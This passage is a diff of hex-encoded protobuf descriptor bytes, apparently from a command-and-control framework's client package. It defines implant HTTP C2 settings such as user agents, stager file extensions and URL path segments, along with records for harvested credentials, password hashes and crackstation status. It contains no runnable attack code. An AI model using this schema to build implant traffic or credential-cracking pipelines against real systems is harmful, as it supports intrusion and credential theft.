0x0a, + 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x47, 0x4f, 0x4f, + 0x53, 0x12, 0x16, 0x0a, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x18, 0x04, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x12, 0x1c, 0x0a, 0x09, 0x54, 0x65, 0x6d, + 0x70, 0x6c, 0x61, 0x74, 0x65, 0x73, 0x18, 0x05, 0x20, 0x03, 0x28, 0x09, 0x52, 0x09, 0x54, 0x65, + 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, 0x73, 0x12, 0x32, 0x0a, 0x07, 0x54, 0x61, 0x72, 0x67, 0x65, + 0x74, 0x73, 0x18, 0x06, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x54, 0x61, 0x72, 0x67, + 0x65, 0x74, 0x52, 0x07, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x73, 0x12, 0x3f, 0x0a, 0x0e, 0x43, + 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x73, 0x18, 0x07, 0x20, + 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, + 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x52, 0x0e, 0x43, 0x72, + 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x73, 0x22, 0x41, 0x0a, 0x0d, + 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x73, 0x12, 0x30, 0x0a, + 0x07, 0x63, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x16, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, + 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x07, 0x63, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x73, 0x22, + 0x22, 0x0a, 0x0c, 0x43, 0x32, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x52, 0x65, 0x71, 0x12, + 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, + 0x61, 0x6d, 0x65, 0x22, 0x63, 0x0a, 0x0f, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x43, 0x6f, 0x6e, + 0x66, 0x69, 0x67, 0x52, 0x65, 0x71, 0x12, 0x1c, 0x0a, 0x09, 0x6f, 0x76, 0x65, 0x72, 0x77, 0x72, + 0x69, 0x74, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x6f, 0x76, 0x65, 0x72, 0x77, + 0x72, 0x69, 0x74, 0x65, 0x12, 0x32, 0x0a, 0x08, 0x43, 0x32, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x08, + 0x43, 0x32, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x22, 0xd3, 0x01, 0x0a, 0x0c, 0x48, 0x54, 0x54, + 0x50, 0x43, 0x32, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x18, 0x0a, 0x07, 0x43, 0x72, 0x65, + 0x61, 0x74, 0x65, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, 0x07, 0x43, 0x72, 0x65, 0x61, + 0x74, 0x65, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x40, 0x0a, 0x0c, 0x53, 0x65, 0x72, 0x76, 0x65, + 0x72, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x53, + 0x65, 0x72, 0x76, 0x65, 0x72, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x0c, 0x53, 0x65, 0x72, + 0x76, 0x65, 0x72, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x43, 0x0a, 0x0d, 0x49, 0x6d, 0x70, + 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, + 0x32, 0x1d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, + 0x43, 0x32, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, + 0x0d, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x22, 0xbc, + 0x01, 0x0a, 0x12, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x43, + 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x32, 0x0a, 0x14, 0x52, 0x61, 0x6e, 0x64, 0x6f, 0x6d, 0x56, + 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x73, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x08, 0x52, 0x14, 0x52, 0x61, 0x6e, 0x64, 0x6f, 0x6d, 0x56, 0x65, 0x72, 0x73, 0x69, + 0x6f, 0x6e, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x73, 0x12, 0x30, 0x0a, 0x07, 0x48, 0x65, 0x61, + 0x64, 0x65, 0x72, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x48, 0x65, 0x61, 0x64, + 0x65, 0x72, 0x52, 0x07, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x73, 0x12, 0x30, 0x0a, 0x07, 0x43, + 0x6f, 0x6f, 0x6b, 0x69, 0x65, 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x43, 0x6f, + 0x6f, 0x6b, 0x69, 0x65, 0x52, 0x07, 0x43, 0x6f, 0x6f, 0x6b, 0x69, 0x65, 0x73, 0x22, 0xf8, 0x05, + 0x0a, 0x13, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, + 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x55, 0x73, 0x65, 0x72, 0x41, 0x67, 0x65, + 0x6e, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x55, 0x73, 0x65, 0x72, 0x41, 0x67, + 0x65, 0x6e, 0x74, 0x12, 0x2c, 0x0a, 0x11, 0x43, 0x68, 0x72, 0x6f, 0x6d, 0x65, 0x42, 0x61, 0x73, + 0x65, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x05, 0x52, 0x11, 0x43, 0x68, 0x72, 0x6f, 0x6d, 0x65, 0x42, 0x61, 0x73, 0x65, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, - 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x05, 0x52, 0x11, 0x43, 0x68, 0x72, 0x6f, 0x6d, 0x65, 0x42, - 0x61, 0x73, 0x65, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x22, 0x0a, 0x0c, 0x4d, 0x61, - 0x63, 0x4f, 0x53, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x0c, 0x4d, 0x61, 0x63, 0x4f, 0x53, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x2e, - 0x0a, 0x12, 0x4e, 0x6f, 0x6e, 0x63, 0x65, 0x51, 0x75, 0x65, 0x72, 0x79, 0x41, 0x72, 0x67, 0x43, - 0x68, 0x61, 0x72, 0x73, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x12, 0x4e, 0x6f, 0x6e, 0x63, - 0x65, 0x51, 0x75, 0x65, 0x72, 0x79, 0x41, 0x72, 0x67, 0x43, 0x68, 0x61, 0x72, 0x73, 0x12, 0x4c, - 0x0a, 0x12, 0x45, 0x78, 0x74, 0x72, 0x61, 0x55, 0x52, 0x4c, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x65, - 0x74, 0x65, 0x72, 0x73, 0x18, 0x06, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x63, 0x6c, 0x69, - 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x55, 0x52, 0x4c, 0x50, - 0x61, 0x72, 0x61, 0x6d, 0x65, 0x74, 0x65, 0x72, 0x52, 0x12, 0x45, 0x78, 0x74, 0x72, 0x61, 0x55, - 0x52, 0x4c, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x65, 0x74, 0x65, 0x72, 0x73, 0x12, 0x30, 0x0a, 0x07, - 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x73, 0x18, 0x07, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x16, 0x2e, - 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x48, - 0x65, 0x61, 0x64, 0x65, 0x72, 0x52, 0x07, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x73, 0x12, 0x1a, - 0x0a, 0x08, 0x4d, 0x61, 0x78, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x08, 0x20, 0x01, 0x28, 0x05, - 0x52, 0x08, 0x4d, 0x61, 0x78, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x4d, 0x69, - 0x6e, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x09, 0x20, 0x01, 0x28, 0x05, 0x52, 0x08, 0x4d, 0x69, - 0x6e, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x4d, 0x61, 0x78, 0x50, 0x61, 0x74, - 0x68, 0x73, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x05, 0x52, 0x08, 0x4d, 0x61, 0x78, 0x50, 0x61, 0x74, - 0x68, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x4d, 0x69, 0x6e, 0x50, 0x61, 0x74, 0x68, 0x73, 0x18, 0x0b, - 0x20, 0x01, 0x28, 0x05, 0x52, 0x08, 0x4d, 0x69, 0x6e, 0x50, 0x61, 0x74, 0x68, 0x73, 0x12, 0x30, - 0x0a, 0x13, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x46, 0x69, 0x6c, 0x65, 0x45, 0x78, 0x74, 0x65, - 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x09, 0x52, 0x13, 0x53, 0x74, 0x61, - 0x67, 0x65, 0x72, 0x46, 0x69, 0x6c, 0x65, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, - 0x12, 0x2c, 0x0a, 0x11, 0x50, 0x6f, 0x6c, 0x6c, 0x46, 0x69, 0x6c, 0x65, 0x45, 0x78, 0x74, 0x65, - 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x0d, 0x20, 0x01, 0x28, 0x09, 0x52, 0x11, 0x50, 0x6f, 0x6c, - 0x6c, 0x46, 0x69, 0x6c, 0x65, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x3c, - 0x0a, 0x19, 0x53, 0x74, 0x61, 0x72, 0x74, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x46, 0x69, - 0x6c, 0x65, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x0e, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x19, 0x53, 0x74, 0x61, 0x72, 0x74, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x46, - 0x69, 0x6c, 0x65, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x32, 0x0a, 0x14, - 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x46, 0x69, 0x6c, 0x65, 0x45, 0x78, 0x74, 0x65, 0x6e, - 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x0f, 0x20, 0x01, 0x28, 0x09, 0x52, 0x14, 0x53, 0x65, 0x73, 0x73, - 0x69, 0x6f, 0x6e, 0x46, 0x69, 0x6c, 0x65, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, - 0x12, 0x2e, 0x0a, 0x12, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x46, 0x69, 0x6c, 0x65, 0x45, 0x78, 0x74, - 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x10, 0x20, 0x01, 0x28, 0x09, 0x52, 0x12, 0x43, 0x6c, - 0x6f, 0x73, 0x65, 0x46, 0x69, 0x6c, 0x65, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, - 0x12, 0x3f, 0x0a, 0x0c, 0x50, 0x61, 0x74, 0x68, 0x53, 0x65, 0x67, 0x6d, 0x65, 0x6e, 0x74, 0x73, - 0x18, 0x11, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x50, 0x61, 0x74, 0x68, 0x53, 0x65, 0x67, 0x6d, - 0x65, 0x6e, 0x74, 0x52, 0x0c, 0x50, 0x61, 0x74, 0x68, 0x53, 0x65, 0x67, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x22, 0x32, 0x0a, 0x0c, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x43, 0x6f, 0x6f, 0x6b, 0x69, - 0x65, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, - 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x82, 0x01, 0x0a, 0x0c, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, - 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x16, 0x0a, 0x06, 0x4d, 0x65, 0x74, 0x68, 0x6f, 0x64, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x4d, 0x65, 0x74, 0x68, 0x6f, 0x64, 0x12, 0x12, - 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, - 0x6d, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x05, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x50, 0x72, 0x6f, 0x62, - 0x61, 0x62, 0x69, 0x6c, 0x69, 0x74, 0x79, 0x18, 0x05, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0b, 0x50, - 0x72, 0x6f, 0x62, 0x61, 0x62, 0x69, 0x6c, 0x69, 0x74, 0x79, 0x22, 0x88, 0x01, 0x0a, 0x12, 0x48, - 0x54, 0x54, 0x50, 0x43, 0x32, 0x55, 0x52, 0x4c, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x65, 0x74, 0x65, - 0x72, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, - 0x44, 0x12, 0x16, 0x0a, 0x06, 0x4d, 0x65, 0x74, 0x68, 0x6f, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x06, 0x4d, 0x65, 0x74, 0x68, 0x6f, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, - 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x14, 0x0a, - 0x05, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x56, 0x61, - 0x6c, 0x75, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x50, 0x72, 0x6f, 0x62, 0x61, 0x62, 0x69, 0x6c, 0x69, - 0x74, 0x79, 0x18, 0x05, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0b, 0x50, 0x72, 0x6f, 0x62, 0x61, 0x62, - 0x69, 0x6c, 0x69, 0x74, 0x79, 0x22, 0x90, 0x01, 0x0a, 0x11, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, - 0x50, 0x61, 0x74, 0x68, 0x53, 0x65, 0x67, 0x6d, 0x65, 0x6e, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x49, - 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x16, 0x0a, 0x06, 0x49, - 0x73, 0x46, 0x69, 0x6c, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x49, 0x73, 0x46, - 0x69, 0x6c, 0x65, 0x12, 0x3d, 0x0a, 0x0b, 0x53, 0x65, 0x67, 0x6d, 0x65, 0x6e, 0x74, 0x54, 0x79, - 0x70, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1b, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x53, 0x65, 0x67, 0x6d, 0x65, 0x6e, - 0x74, 0x54, 0x79, 0x70, 0x65, 0x52, 0x0b, 0x53, 0x65, 0x67, 0x6d, 0x65, 0x6e, 0x74, 0x54, 0x79, - 0x70, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x05, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x80, 0x02, 0x0a, 0x0a, 0x43, 0x72, 0x65, - 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, - 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, - 0x61, 0x6d, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x50, 0x6c, 0x61, 0x69, 0x6e, 0x74, 0x65, 0x78, 0x74, - 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x50, 0x6c, 0x61, 0x69, 0x6e, 0x74, 0x65, 0x78, - 0x74, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x61, 0x73, 0x68, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x04, 0x48, 0x61, 0x73, 0x68, 0x12, 0x2e, 0x0a, 0x08, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, - 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x52, 0x08, 0x48, 0x61, 0x73, - 0x68, 0x54, 0x79, 0x70, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x49, 0x73, 0x43, 0x72, 0x61, 0x63, 0x6b, - 0x65, 0x64, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x49, 0x73, 0x43, 0x72, 0x61, 0x63, - 0x6b, 0x65, 0x64, 0x12, 0x26, 0x0a, 0x0e, 0x4f, 0x72, 0x69, 0x67, 0x69, 0x6e, 0x48, 0x6f, 0x73, - 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x4f, 0x72, 0x69, - 0x67, 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x1e, 0x0a, 0x0a, 0x43, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x0a, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0x45, 0x0a, 0x0b, 0x43, - 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x12, 0x36, 0x0a, 0x0b, 0x43, 0x72, - 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, - 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, - 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x52, 0x0b, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, - 0x6c, 0x73, 0x22, 0x4d, 0x0a, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, - 0x6f, 0x6e, 0x73, 0x12, 0x3c, 0x0a, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, - 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, - 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, - 0x6f, 0x6e, 0x52, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, - 0x73, 0x22, 0xed, 0x01, 0x0a, 0x12, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, - 0x6f, 0x6e, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, - 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, - 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x26, 0x0a, 0x05, 0x53, 0x74, 0x61, 0x74, - 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x10, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x74, 0x65, 0x73, 0x52, 0x05, 0x53, 0x74, 0x61, 0x74, 0x65, - 0x12, 0x2c, 0x0a, 0x11, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x43, 0x72, 0x61, 0x63, 0x6b, - 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x11, 0x43, 0x75, 0x72, - 0x72, 0x65, 0x6e, 0x74, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x12, 0x1c, - 0x0a, 0x09, 0x49, 0x73, 0x53, 0x79, 0x6e, 0x63, 0x69, 0x6e, 0x67, 0x18, 0x05, 0x20, 0x01, 0x28, - 0x08, 0x52, 0x09, 0x49, 0x73, 0x53, 0x79, 0x6e, 0x63, 0x69, 0x6e, 0x67, 0x12, 0x33, 0x0a, 0x07, - 0x53, 0x79, 0x6e, 0x63, 0x69, 0x6e, 0x67, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, - 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x53, 0x79, - 0x6e, 0x63, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x52, 0x07, 0x53, 0x79, 0x6e, 0x63, 0x69, 0x6e, - 0x67, 0x22, 0xa9, 0x01, 0x0a, 0x0f, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x53, 0x79, 0x6e, 0x63, 0x53, - 0x74, 0x61, 0x74, 0x75, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x53, 0x70, 0x65, 0x65, 0x64, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x02, 0x52, 0x05, 0x53, 0x70, 0x65, 0x65, 0x64, 0x12, 0x43, 0x0a, 0x08, 0x50, - 0x72, 0x6f, 0x67, 0x72, 0x65, 0x73, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x27, 0x2e, - 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x53, 0x79, - 0x6e, 0x63, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x2e, 0x50, 0x72, 0x6f, 0x67, 0x72, 0x65, 0x73, - 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x50, 0x72, 0x6f, 0x67, 0x72, 0x65, 0x73, 0x73, - 0x1a, 0x3b, 0x0a, 0x0d, 0x50, 0x72, 0x6f, 0x67, 0x72, 0x65, 0x73, 0x73, 0x45, 0x6e, 0x74, 0x72, - 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 